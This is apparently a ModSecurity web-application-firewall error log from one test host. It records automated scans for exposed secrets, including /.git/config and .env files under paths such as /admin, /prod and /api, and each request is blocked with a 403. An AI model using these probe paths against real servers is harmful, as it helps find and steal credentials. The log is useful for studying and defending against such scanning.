[Fri Feb 14 17:21:47.622195 2025] [:error] [pid 1151894] [client 89.248.163.4:60510] [client 89.248.163.4] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z69tm0Vt3zdSFwpQKAlppwAAAA0&quot;]
[Fri Feb 14 17:21:47.624084 2025] [:error] [pid 1151894] [client 89.248.163.4:60510] [client 89.248.163.4] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z69tm0Vt3zdSFwpQKAlppwAAAA0&quot;]
[Fri Feb 14 17:21:47.624559 2025] [:error] [pid 1151894] [client 89.248.163.4:60510] [client 89.248.163.4] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z69tm0Vt3zdSFwpQKAlppwAAAA0&quot;]
[Wed Feb 19 05:51:49.111586 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywogAAAAM&quot;]
[Wed Feb 19 05:51:49.113702 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywogAAAAM&quot;]
[Wed Feb 19 05:51:49.114311 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywogAAAAM&quot;]
[Wed Feb 19 05:51:49.137237 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /beta/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywowAAAAM&quot;]
[Wed Feb 19 05:51:49.137744 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywowAAAAM&quot;]
[Wed Feb 19 05:51:49.138309 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywowAAAAM&quot;]
[Wed Feb 19 05:51:49.161334 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kyc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kyc/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywpAAAAAM&quot;]
[Wed Feb 19 05:51:49.161704 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kyc/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywpAAAAAM&quot;]
[Wed Feb 19 05:51:49.162156 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kyc/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywpAAAAAM&quot;]
[Wed Feb 19 05:51:49.185392 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywpQAAAAM&quot;]
[Wed Feb 19 05:51:49.185764 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywpQAAAAM&quot;]
[Wed Feb 19 05:51:49.186212 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywpQAAAAM&quot;]
[Wed Feb 19 05:51:49.209344 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /prod/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywpgAAAAM&quot;]
[Wed Feb 19 05:51:49.209710 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywpgAAAAM&quot;]
[Wed Feb 19 05:51:49.210162 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywpgAAAAM&quot;]
[Wed Feb 19 05:51:49.233336 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywpwAAAAM&quot;]
[Wed Feb 19 05:51:49.233698 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywpwAAAAM&quot;]
[Wed Feb 19 05:51:49.234143 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywpwAAAAM&quot;]
[Wed Feb 19 05:51:49.257416 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;.docker/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywqAAAAAM&quot;]
[Wed Feb 19 05:51:49.257827 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywqAAAAAM&quot;]
[Wed Feb 19 05:51:49.258336 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywqAAAAAM&quot;]
[Wed Feb 19 05:51:49.284365 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywqQAAAAM&quot;]
[Wed Feb 19 05:51:49.285076 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywqQAAAAM&quot;]
[Wed Feb 19 05:51:49.285790 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywqQAAAAM&quot;]
[Wed Feb 19 05:51:49.308841 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /crm/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywqgAAAAM&quot;]
[Wed Feb 19 05:51:49.309112 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywqgAAAAM&quot;]
[Wed Feb 19 05:51:49.309397 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywqgAAAAM&quot;]
[Wed Feb 19 05:51:49.333611 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywqwAAAAM&quot;]
[Wed Feb 19 05:51:49.334179 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywqwAAAAM&quot;]
[Wed Feb 19 05:51:49.334786 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywqwAAAAM&quot;]
